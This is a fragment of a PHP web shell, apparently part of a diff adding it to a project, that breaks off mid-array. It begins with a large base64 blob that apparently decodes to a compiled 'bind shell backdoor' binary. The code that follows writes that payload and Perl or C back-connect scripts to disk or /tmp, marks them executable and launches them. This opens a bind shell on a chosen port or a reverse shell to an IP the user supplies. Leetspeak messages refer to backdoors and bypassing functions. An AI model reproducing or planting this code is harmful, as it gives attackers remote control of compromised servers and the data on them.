SmNTYUJBaG9XQUFBQU9rdy8vLy8veVhJbWdRSWFHQUFBQURwSVAvLy8vOGx6Sm9FQ0dob0FBQUE2UkQvLy8vL0pkQ2FCQWhvY0FBQUFPa0EvLy8vTWUxZWllR0Q1UEJRVkZKb3JZZ0VDR2hjaUFRSVVWWm9RSVlFQ09oZi8vLy85SkNRVllubFUrZ2JBQUFBZ2NPL0ZBQUFnK3dFaTRQOC8vLy9oY0IwQXYvUWc4UUVXMTNEaXh3a3cxV0o1WVBzQ0lBOTRKb0VDQUIwRE9zY2c4QUVvOXlhQkFqLzBxSGNtZ1FJaXhDRjBuWHJ4Z1hnbWdRSUFjbkRWWW5sZyt3SW9ieVpCQWlGd0hRU3VBQUFBQUNGd0hRSnh3UWt2SmtFQ1AvUXljT1FrRldKNVZlRDdHU0Q1UEM0QUFBQUFJUEFENFBBRDhIb0JNSGdCQ25FeDBYa0FRQUFBTWRGK0V5SkJBakhSQ1FJQUFBQUFNZEVKQVFCQUFBQXh3UWtBZ0FBQU9nSi8vLy9pVVh3ZzMzd0FIa1l4d1FraklrRUNPZzAvdi8veHdRa0FRQUFBT2lvL3YvL1pzZEYxQUlBeDBYWUFBQUFBSXRGRElQQUJJc0FpUVFrNkp2Ky8vOFB0OENKQkNUb3NQNy8vMmFKUmRiSFJDUVFCQUFBQUkxRjVJbEVKQXpIUkNRSUFnQUFBTWRFSkFRQkFBQUFpMFh3aVFRazZCTCsvLytOUmRUSFJDUUlFQUFBQUlsRUpBU0xSZkNKQkNUb0tQNy8vNFhBZVJqSEJDU1RpUVFJNktqOS8vL0hCQ1FCQUFBQTZCeisvLy9IUkNRRUNBQUFBSXRGOElrRUpPaTUvZi8vaGNCNUdNY0VKSmlKQkFqb2VmMy8vOGNFSkFFQUFBRG83ZjMvLzhkRjZCQUFBQUNOUmVpTlZjU0pSQ1FJaVZRa0JJdEY4SWtFSk9odC9mLy9pVVgwZzMzMEFIa014d1FraklrRUNPZzQvZi8vNkVQOS8vK0Z3QStFcHdBQUFJdEYrTG4vLy8vL2lVVzR1QUFBQUFEOGkzMjQ4cTZKeVBmUWcrZ0J4MFFrREFBQUFBQ0pSQ1FJaTBYNGlVUWtCSXRGOUlrRUpPaVEvZi8veDBRa0JBQUFBQUNMUmZTSkJDVG9QZjMvLzhkRUpBUUJBQUFBaTBYMGlRUWs2Q3I5Ly8vSFJDUUVBZ0FBQUl0RjlJa0VKT2dYL2YvL3gwUWtDQUFBQUFESFJDUUVuNGtFQ01jRUpKK0pCQWpvZS96Ly80dEY4SWtFSk9pQS9QLy94d1FrQUFBQUFPZ0UvZi8vaTBYMGlRUWs2R244Ly8vcER2Ly8vMVdKNVZkV01mWlQ2SC85Ly8rQnd5TVNBQUNEN0F6b0Vmei8vNDJESVAvLy80MlRJUC8vLzRsRjhDblF3ZmdDT2NaekZvblgveFN5aTBYd2c4WUJLZmlKK3NINEFqbkdjdXlEeEF4YlhsOWR3MVdKNVlQc0dJbGQ5T2d0L2YvL2djUFJFUUFBaVhYNGlYMzhqYk1nLy8vL2pic2cvLy8vS2Y3Qi9nTHJBLzhVdDRQdUFZUCsvM1gxNkRvQUFBQ0xYZlNMZGZpTGZmeUo3RjNEa0ZXSjVWT0Q3QVNockprRUNJUDQvM1FTdTZ5WkJBai8wSXREL0lQckJJUDQvM1h6ZzhRRVcxM0RrSkNRVllubFUraTcvUC8vZ2NOZkVRQUFnK3dFNkxIOC8vK0R4QVJiWGNNQUFBQURBQUFBQVFBQ0FEbzZJSGMwWTJzeGJtY3RjMmhsYkd3Z0tGQnlhWFpoZEdVZ1FuVnBiR1FnZGpBdU15a2dZbWx1WkNCemFHVnNiQ0JpWVdOclpHOXZjaUE2T2lBS0NnQnpiMk5yWlhRQVltbHVaQUJzYVhOMFpXNEFMMkpwYmk5emFBQUFBQUFBQVAvLy8vOEFBQUFBLy8vLy93QUFBQUFBQUFBQUFRQUFBQ1FBQUFBTUFBQUFpSVFFQ0EwQUFBQWtpUVFJQkFBQUFFaUJCQWdGQUFBQUVJTUVDQVlBQUFEZ2dRUUlDZ0FBQUxBQUFBQUxBQUFBRUFBQUFCVUFBQUFBQUFBQUF3QUFBSXlhQkFnQ0FBQUFlQUFBQUJRQUFBQVJBQUFBRndBQUFCQ0VCQWdSQUFBQUNJUUVDQklBQUFBSUFBQUFFd0FBQUFnQUFBRCsvLzl2NklNRUNQLy8vMjhCQUFBQThQLy9iOENEQkFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBd0prRUNBQUFBQUFBQUFBQXRvUUVDTWFFQkFqV2hBUUk1b1FFQ1BhRUJBZ0doUVFJRm9VRUNDYUZCQWcyaFFRSVJvVUVDRmFGQkFobWhRUUlkb1VFQ0lhRkJBaVdoUVFJQUFBQUFBQUFBQUM0bVFRSUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUFBY0FBQUFBZ0FBQUFBQUJBQUFBQUFBb0lVRUNDSUFBQUFBQUFBQUFBQUFBRFFBQUFBQ0FBc0JBQUFFQUFBQUFBRG9oUVFJQkFBQUFDU0pCQWdTQUFBQWlJUUVDQXNBQUFERWhRUUlKQUFBQUFBQUFBQUFBQUFBTEFBQUFBSUFtd0VBQUFRQUFBQUFBT2lGQkFnRUFBQUFPNGtFQ0FZQUFBQ2RoQVFJQWdBQUFBQUFBQUFBQUFBQUlRQUFBQUlBZWdBQUFKRUFBQUI1QUFBQVgwbFBYM04wWkdsdVgzVnpaV1FBQUFBQUFIWUFBQUFDQUFBQUFBQUVBUUFBQUFDZ2hRUUl3b1VFQ0M0dUwzTjVjMlJsY0hNdmFUTTROaTlsYkdZdmMzUmhjblF1VXdBdlluVnBiR1F2WW5WcGJHUmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdloyeHBZbU10TWk0ekxqWXZZM04xQUVkT1ZTQkJVeUF5TGpFMkxqa3hBQUdBalFBQUFBSUFGQUFBQUFRQld3QUFBTVNGQkFqRWhRUUlZZ0FBQUFFQUFBQUFFUUFBQUFLUUFBQUFCQWNDVkFBQUFBRUlBcDBBQUFBQ0J3S0xBQUFBQkFjQ1ZnQUFBQUVHQWdjQUFBQUNCUU5wYm5RQUJBVUNSZ0FBQUFnRkFvWUFBQUFJQndKTEFBQUFCQVVDa0FBQUFBUUhBbDBBQUFBQkJnU3dBQUFBQVJtTEFBQUFBUVVEU0lrRUNBVlBBQUFBQUl3QUFBQUNBRllBQUFBRUFZSUFBQUF2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNhV0pqTDJOemRTOWpjblJwTGxNQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJMMk56ZFFCSFRsVWdRVk1nTWk0eE5pNDVNUUFCZ0l3QUFBQUNBR1lBQUFBRUFTOEJBQUF2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNhV0pqTDJOemRTOWpjblJ1TGxNQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJMMk56ZFFCSFRsVWdRVk1nTWk0eE5pNDVNUUFCZ0FFUkFCQUdFUUVTQVFNSUd3Z2xDQk1GQUFBQUFSRUJFQVlTQVJFQkpRNFRDd01PR3c0QUFBSWtBQU1PQ3dzK0N3QUFBeVFBQXdnTEN6NExBQUFFTkFBRERqb0xPd3RKRXo4TUFnb0FBQVVtQUVrVEFBQUFBUkVBRUFZRENCc0lKUWdUQlFBQUFBRVJBQkFHQXdnYkNDVUlFd1VBQUFCWEFBQUFBZ0F5QUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdUxpOXplWE5rWlhCekwya3pPRFl2Wld4bUFBQnpkR0Z5ZEM1VEFBRUFBQUFBQlFLZ2hRUUlBOEFBQVRNaE5EMGxJZ01ZSUZsYUlTSmNXd0lCQUFFQkl3QUFBQUlBSFFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFBQkFHbHVhWFF1WXdBQUFBQUFxUUFBQUFJQVVBQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVQUFHTnlkR2t1VXdBQkFBQUFBQVVDNklVRUNBUEFBQUU5QWdFQUFRRUFCUUlraVFRSUF5NEJJUzhoV1djQ0F3QUJBUUFGQW9pRUJBZ0RId0VoTHowQ0JRQUJBUUFGQXNTRkJBZ0RDZ0VoTHlGWlp6MW5MeTh3UFNFaEFnRUFBUUdJQUFBQUFnQlFBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNhV0pqTDJOemRRQUFZM0owYmk1VEFBRUFBQUFBQlFMb2hRUUlBeUVCUFFJQkFBRUJBQVVDTzRrRUNBTVNBVDBoSVFJQkFBRUJBQVVDbllRRUNBTUpBU0VDQVFBQkFXbHVhWFF1WXdCemFHOXlkQ0JwYm5RQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJMMk56ZFFCc2IyNW5JR3h2Ym1jZ2FXNTBBSFZ1YzJsbmJtVmtJR05vWVhJQVIwNVZJRU1nTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQWJHOXVaeUJzYjI1bklIVnVjMmxuYm1Wa0lHbHVkQUJ6YUc5eWRDQjFibk5wWjI1bFpDQnBiblFBWDBsUFgzTjBaR2x1WDNWelpXUUFBQzV6ZVcxMFlXSUFMbk4wY25SaFlnQXVjMmh6ZEhKMFlXSUFMbWx1ZEdWeWNBQXVibTkwWlM1QlFra3RkR0ZuQUM1b1lYTm9BQzVrZVc1emVXMEFMbVI1Ym5OMGNnQXVaMjUxTG5abGNuTnBiMjRBTG1kdWRTNTJaWEp6YVc5dVgzSUFMbkpsYkM1a2VXNEFMbkpsYkM1d2JIUUFMbWx1YVhRQUxuUmxlSFFBTG1acGJta0FMbkp2WkdGMFlRQXVaV2hmWm5KaGJXVUFMbU4wYjNKekFDNWtkRzl5Y3dBdWFtTnlBQzVrZVc1aGJXbGpBQzVuYjNRQUxtZHZkQzV3YkhRQUxtUmhkR0VBTG1KemN3QXVZMjl0YldWdWRBQXVaR1ZpZFdkZllYSmhibWRsY3dBdVpHVmlkV2RmY0hWaWJtRnRaWE1BTG1SbFluVm5YMmx1Wm04QUxtUmxZblZuWDJGaVluSmxkZ0F1WkdWaWRXZGZiR2x1WlFBdVpHVmlkV2RmYzNSeUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR3dBQUFBRUFBQUFDQUFBQUZJRUVDQlFCQUFBVEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDTUFBQUFIQUFBQUFnQUFBQ2lCQkFnb0FRQUFJQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUF4QUFBQUJRQUFBQUlBQUFCSWdRUUlTQUVBQUpnQUFBQUVBQUFBQUFBQUFBUUFBQUFFQUFBQU53QUFBQXNBQUFBQ0FBQUE0SUVFQ09BQkFBQXdBUUFBQlFBQUFBRUFBQUFFQUFBQUVBQUFBRDhBQUFBREFBQUFBZ0FBQUJDREJBZ1FBd0FBc0FBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFCSEFBQUEvLy8vYndJQUFBREFnd1FJd0FNQUFDWUFBQUFFQUFBQUFBQUFBQUlBQUFBQ0FBQUFWQUFBQVA3Ly8yOENBQUFBNklNRUNPZ0RBQUFnQUFBQUJRQUFBQUVBQUFBRUFBQUFBQUFBQUdNQUFBQUpBQUFBQWdBQUFBaUVCQWdJQkFBQUNBQUFBQVFBQUFBQUFBQUFCQUFBQUFnQUFBQnNBQUFBQ1FBQUFBSUFBQUFRaEFRSUVBUUFBSGdBQUFBRUFBQUFDd0FBQUFRQUFBQUlBQUFBZFFBQUFBRUFBQUFHQUFBQWlJUUVDSWdFQUFBWEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFIQUFBQUFCQUFBQUJnQUFBS0NFQkFpZ0JBQUFBQUVBQUFBQUFBQUFBQUFBQkFBQUFBUUFBQUI3QUFBQUFRQUFBQVlBQUFDZ2hRUUlvQVVBQUlRREFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWdRQUFBQUVBQUFBR0FBQUFKSWtFQ0NRSkFBQWRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBSWNBQUFBQkFBQUFBZ0FBQUVTSkJBaEVDUUFBWXdBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDUEFBQUFBUUFBQUFJQUFBQ29pUVFJcUFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFtUUFBQUFFQUFBQURBQUFBckprRUNLd0pBQUFJQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUtBQUFBQUJBQUFBQXdBQUFMU1pCQWkwQ1FBQUNBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ25BQUFBQVFBQUFBTUFBQUM4bVFRSXZBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBckFBQUFBWUFBQUFEQUFBQXdKa0VDTUFKQUFESUFBQUFCUUFBQUFBQUFBQUVBQUFBQ0FBQUFMVUFBQUFCQUFBQUF3QUFBSWlhQkFpSUNnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBUUFBQUM2QUFBQUFRQUFBQU1BQUFDTW1nUUlqQW9BQUVnQUFBQUFBQUFBQUFBQUFBUUFBQUFFQUFBQXd3QUFBQUVBQUFBREFBQUExSm9FQ05RS0FBQU1BQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBTWtBQUFBSUFBQUFBd0FBQU9DYUJBamdDZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFET0FBQUFBUUFBQUFBQUFBQUFBQUFBNEFvQUFDWUJBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUExd0FBQUFFQUFBQUFBQUFBQUFBQUFBZ01BQUNJQUFBQUFBQUFBQUFBQUFBSUFBQUFBQUFBQU9ZQUFBQUJBQUFBQUFBQUFBQUFBQUNRREFBQUpRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBRDJBQUFBQVFBQUFBQUFBQUFBQUFBQXRRd0FBQ3NDQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQWdFQUFBRUFBQUFBQUFBQUFBQUFBT0FPQUFCMkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFCQUJBQUFCQUFBQUFBQUFBQUFBQUFCV0R3QUF1d0VBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFjQVFBQUFRQUFBREFBQUFBQUFBQUFFUkVBQUw4QUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUVRQUFBQU1BQUFBQUFBQUFBQUFBQU5BUkFBQW5BUUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQ0FBQUFBQUFBQUFBQUFBQklHQUFBOEFVQUFDRUFBQUEvQUFBQUJBQUFBQkFBQUFBSkFBQUFBd0FBQUFBQUFBQUFBQUFBT0I0QUFMSURBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFVZ1FRSUFBQUFBQU1BQVFBQUFBQUFLSUVFQ0FBQUFBQURBQUlBQUFBQUFFaUJCQWdBQUFBQUF3QURBQUFBQUFEZ2dRUUlBQUFBQUFNQUJBQUFBQUFBRUlNRUNBQUFBQUFEQUFVQUFBQUFBTUNEQkFnQUFBQUFBd0FHQUFBQUFBRG9nd1FJQUFBQUFBTUFCd0FBQUFBQUNJUUVDQUFBQUFBREFBZ0FBQUFBQUJDRUJBZ0FBQUFBQXdBSkFBQUFBQUNJaEFRSUFBQUFBQU1BQ2dBQUFBQUFvSVFFQ0FBQUFBQURBQXNBQUFBQUFLQ0ZCQWdBQUFBQUF3QU1BQUFBQUFBa2lRUUlBQUFBQUFNQURRQUFBQUFBUklrRUNBQUFBQUFEQUE0QUFBQUFBS2lKQkFnQUFBQUFBd0FQQUFBQUFBQ3NtUVFJQUFBQUFBTUFFQUFBQUFBQXRKa0VDQUFBQUFBREFCRUFBQUFBQUx5WkJBZ0FBQUFBQXdBU0FBQUFBQURBbVFRSUFBQUFBQU1BRXdBQUFBQUFpSm9FQ0FBQUFBQURBQlFBQUFBQUFJeWFCQWdBQUFBQUF3QVZBQUFBQUFEVW1nUUlBQUFBQUFNQUZnQUFBQUFBNEpvRUNBQUFBQUFEQUJjQUFBQUFBQUFBQUFBQUFBQUFBd0FZQUFBQUFBQUFBQUFBQUFBQUFBTUFHUUFBQUFBQUFBQUFBQUFBQUFBREFCb0FBQUFBQUFBQUFBQUFBQUFBQXdBYkFBQUFBQUFBQUFBQUFBQUFBQU1BSEFBQUFBQUFBQUFBQUFBQUFBQURBQjBBQUFBQUFBQUFBQUFBQUFBQUF3QWVBQUFBQUFBQUFBQUFBQUFBQUFNQUh3QUFBQUFBQUFBQUFBQUFBQUFEQUNBQUFBQUFBQUFBQUFBQUFBQUFBd0FoQUFFQUFBQUFBQUFBQUFBQUFBUUE4ZjhNQUFBQUFBQUFBQUFBQUFBRUFQSC9LQUFBQUFBQUFBQUFBQUFBQkFEeC95OEFBQUFBQUFBQUFBQUFBQVFBOGY4NkFBQUFBQUFBQUFBQUFBQUVBUEgvZEFBQUFNU0ZCQWdBQUFBQUFnQU1BSVFBQUFBQUFBQUFBQUFBQUFRQThmK1BBQUFBckprRUNBQUFBQUFCQUJBQW5RQUFBTFNaQkFnQUFBQUFBUUFSQUtzQUFBQzhtUVFJQUFBQUFBRUFFZ0M0QUFBQTRKb0VDQUVBQUFBQkFCY0F4d0FBQU55YUJBZ0FBQUFBQVFBV0FNNEFBQURzaFFRSUFBQUFBQUlBREFEa0FBQUFHNFlFQ0FBQUFBQUNBQXdBaEFBQUFBQUFBQUFBQUFBQUJBRHgvL0FBQUFDd21RUUlBQUFBQUFFQUVBRDlBQUFBdUprRUNBQUFBQUFCQUJFQUNnRUFBS2lKQkFnQUFBQUFBUUFQQUJnQkFBQzhtUVFJQUFBQUFBRUFFZ0FrQVFBQStJZ0VDQUFBQUFBQ0FBd0FMd0FBQUFBQUFBQUFBQUFBQkFEeC96b0JBQUFBQUFBQUFBQUFBQVFBOGY5MEFRQUFBQUFBQUFBQUFBQUVBUEgvZUFFQUFNQ1pCQWdBQUFBQUFRSVRBSUVCQUFDc21RUUlBQUFBQUFBQzhmK1NBUUFBckprRUNBQUFBQUFBQXZIL3BRRUFBS3laQkFnQUFBQUFBQUx4LzdZQkFBQ01tZ1FJQUFBQUFBRUNGUURNQVFBQXJKa0VDQUFBQUFBQUF2SC8zd0VBQUFBQUFBQjFBUUFBRWdBQUFQQUJBQUFBQUFBQWNRQUFBQklBQUFBQkFnQUFSSWtFQ0FRQUFBQVJBQTRBQ0FJQUFBQUFBQURNQUFBQUVnQUFBQm9DQUFBQUFBQUFXZ0FBQUJJQUFBQXFBZ0FBMkpvRUNBQUFBQUFSQWhZQU53SUFBSzJJQkFoS0FBQUFFZ0FNQUVjQ0FBQUFBQUFBZUFBQUFCSUFBQUJaQWdBQWlJUUVDQUFBQUFBU0FBb0FYd0lBQUFBQUFBQTVBQUFBRWdBQUFIRUNBQUFBQUFBQU9RQUFBQklBQUFDSEFnQUFvSVVFQ0FBQUFBQVNBQXdBamdJQUFGeUlCQWhSQUFBQUVnQU1BSjRDQUFEZ21nUUlBQUFBQUJBQThmK3FBZ0FBUUlZRUNCd0NBQUFTQUF3QXJ3SUFBQUFBQUFEbUFBQUFFZ0FBQU13Q0FBQUFBQUFBT2dBQUFCSUFBQURjQWdBQTFKb0VDQUFBQUFBZ0FCWUE1d0lBQUFBQUFBQTVBQUFBRWdBQUFQY0NBQUFraVFRSUFBQUFBQklBRFFEOUFnQUFBQUFBQUxrQUFBQVNBQUFBRFFNQUFBQUFBQUFyQUFBQUVnQUFBQjBEQUFEZ21nUUlBQUFBQUJBQThmOGtBd0FBNklVRUNBQUFBQUFTQWd3QU93TUFBT1NhQkFnQUFBQUFFQUR4LzBBREFBQUFBQUFBZUFBQUFCSUFBQUJRQXdBQUFBQUFBQTRBQUFBU0FBQUFZUU1BQUVpSkJBZ0VBQUFBRVFBT0FIQURBQURVbWdRSUFBQUFBQkFBRmdCOUF3QUFBQUFBQURrQUFBQVNBQUFBandNQUFBQUFBQUFBQUFBQUlBQUFBS01EQUFBQUFBQUFBQUFBQUNBQUFBQUFZV0pwTFc1dmRHVXVVd0F1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htTDNOMFlYSjBMbE1BYVc1cGRDNWpBR2x1YVhSbWFXNXBMbU1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVXZZM0owYVM1VEFHTmhiR3hmWjIxdmJsOXpkR0Z5ZEFCamNuUnpkSFZtWmk1akFGOWZRMVJQVWw5TVNWTlVYMThBWDE5RVZFOVNYMHhKVTFSZlh3QmZYMHBEVWw5TVNWTlVYMThBWTI5dGNHeGxkR1ZrTGpRME5qTUFjQzQwTkRZeUFGOWZaRzlmWjJ4dlltRnNYMlIwYjNKelgyRjFlQUJtY21GdFpWOWtkVzF0ZVFCZlgwTlVUMUpmUlU1RVgxOEFYMTlFVkU5U1gwVk9SRjlmQUY5ZlJsSkJUVVZmUlU1RVgxOEFYMTlLUTFKZlJVNUVYMThBWDE5a2IxOW5iRzlpWVd4ZlkzUnZjbk5mWVhWNEFDOWlkV2xzWkM5aWRXbHNaR1F2WjJ4cFltTXRNaTR6TGpZdlluVnBiR1F0ZEhKbFpTOXBNemcyTFd4cFltTXZZM04xTDJOeWRHNHVVd0F4TG1NQVgwUlpUa0ZOU1VNQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyWnBibWxmWVhKeVlYbGZjM1JoY25RQVgxOXBibWwwWDJGeWNtRjVYMlZ1WkFCZlIweFBRa0ZNWDA5R1JsTkZWRjlVUVVKTVJWOEFYMTlwYm1sMFgyRnljbUY1WDNOMFlYSjBBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFZMnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVptOXlhMEJBUjB4SlFrTmZNaTR3QUY5ZlpITnZYMmhoYm1Sc1pRQmZYMnhwWW1OZlkzTjFYMlpwYm1rQVlXTmpaWEIwUUVCSFRFbENRMTh5TGpBQVgybHVhWFFBYkdsemRHVnVRRUJIVEVsQ1ExOHlMakFBYzJWMGMyOWphMjl3ZEVCQVIweEpRa05mTWk0d0FGOXpkR0Z5ZEFCZlgyeHBZbU5mWTNOMVgybHVhWFFBWDE5aWMzTmZjM1JoY25RQWJXRnBiZ0JmWDJ4cFltTmZjM1JoY25SZmJXRnBia0JBUjB4SlFrTmZNaTR3QUdSMWNESkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUdKcGJtUkFRRWRNU1VKRFh6SXVNQUJmWm1sdWFRQmxlR2wwUUVCSFRFbENRMTh5TGpBQVlYUnZhVUJBUjB4SlFrTmZNaTR3QUY5bFpHRjBZUUJmWDJrMk9EWXVaMlYwWDNCalgzUm9kVzVyTG1KNEFGOWxibVFBYzJWdVpFQkFSMHhKUWtOZk1pNHdBR2gwYjI1elFFQkhURWxDUTE4eUxqQUFYMGxQWDNOMFpHbHVYM1Z6WldRQVgxOWtZWFJoWDNOMFlYSjBBSE52WTJ0bGRFQkFSMHhKUWtOZk1pNHdBRjlLZGw5U1pXZHBjM1JsY2tOc1lYTnpaWE1BWDE5bmJXOXVYM04wWVhKMFgxOEE=";
+
+function cf($fname,$text) {
+ $w_file=@fopen($fname,"w") or err();
+ if($w_file) {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+
+function cfb($fname,$text) {
+ $w_file=@fopen($fname,"w") or bberr();
+ if($w_file) {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function err() { $_POST['backcconnmsge']="Error:
C4n'7 c0nn3c7!"; }
+function bberr() { $_POST['backcconnmsge']="Error:
C4n'7 b4ckd00r h057!"; }
+
+if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
+ $ip = gethostbyname($_SERVER["HTTP_HOST"]);
+ $poor = $_POST['backconnectport'];
+ if (is_writable(".")) {
+ cfb("shbd",$b4ckd00r);
+ ex("chmod 777 shbd");
+ $cmd = "./shbd $poor";
+ exec("$cmd > /dev/null &");
+ $scan = s3x3c("ps aux");
+ } else {
+ cfb("/tmp/shbd",$b4ckd00r);
+ ex("chmod 777 /tmp/shbd");
+ $cmd = "./tmp/shbd $poor";
+ exec("$cmd > /dev/null &");
+ $scan = s3x3c("ps aux");
+ }
+ if (eregi("./shbd $poor",$scan)) {
+ $data = ("\n'nc $ip $poor' .$data";
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
+ if (is_writable(".")) {
+ cf("back",$bc_p3rl);
+ $po2 = which("perl");
+ $blah = ex($po2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("back")) { unlink("back"); }
+ } else {
+ cf("/tmp/back",$bc_p3rl);
+ $po2 = which("perl");
+ $blah = ex($po2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
+ }
+ $_POST['backcconnmsg']="Try1ng 70 c0nn3c7 70 ".$_POST['backconnectip']." 0n p0r7 ".$_POST['backconnectport']." .";
+}
+
+if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) {
+ if (is_writable(".")) {
+ cf("backc",$bc_c);
+ ex("chmod 777 backc");
+ $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("backc")) { unlink("backc"); }
+ } else {
+ ex("chmod 777 /tmp/backc");
+ cf("/tmp/backc",$bc_c);
+ $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
+ if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }
+ }
+ $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']." .";
+}
+
+@ini_set("max_execution_time",0);
+if (!function_exists("gmt")) {
+ function gmt() {
+ list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
+ }
+}
+//Byp455 func710n5 0n
+error_reporting(5);
+@ignore_user_abort(TRUE);
+@set_magic_quotes_runtime(0);
+define("starttime",gmt());
+$not_enabled_feedback = $feedback;
+if (get_magic_quotes_gpc()) {
+ if (!function_exists("strips")) {
+ function strips(&$arr,$k="") {
+ if (is_array($arr)) {
+ foreach($arr as $k=>$v) {
+ if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
+ }
+ } else {$arr = stripslashes($arr);}
+ }
+ }
+ strips($GLOBALS);
+}
+
+//c0nf1g
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+$surl_autofill_include = TRUE;
+foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
+if ($surl_autofill_include) {
+ $include = "&";
+ foreach (explode("&",getenv("QUERY_STRING")) as $v) {
+ $v = explode("=",$v);
+ $name = urldecode($v[0]);
+ $value = urldecode($v[1]);
+ foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
+ if (strpos($value,$needle) === 0) {
+ $includestr .= urlencode($name)."=".urlencode($value)."&";
+ }
+ }
+ }
+}
+if (empty($surl)) {
+ $surl = "?".$includestr;
+}
+$surl = htmlspecialchars($surl);
+
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
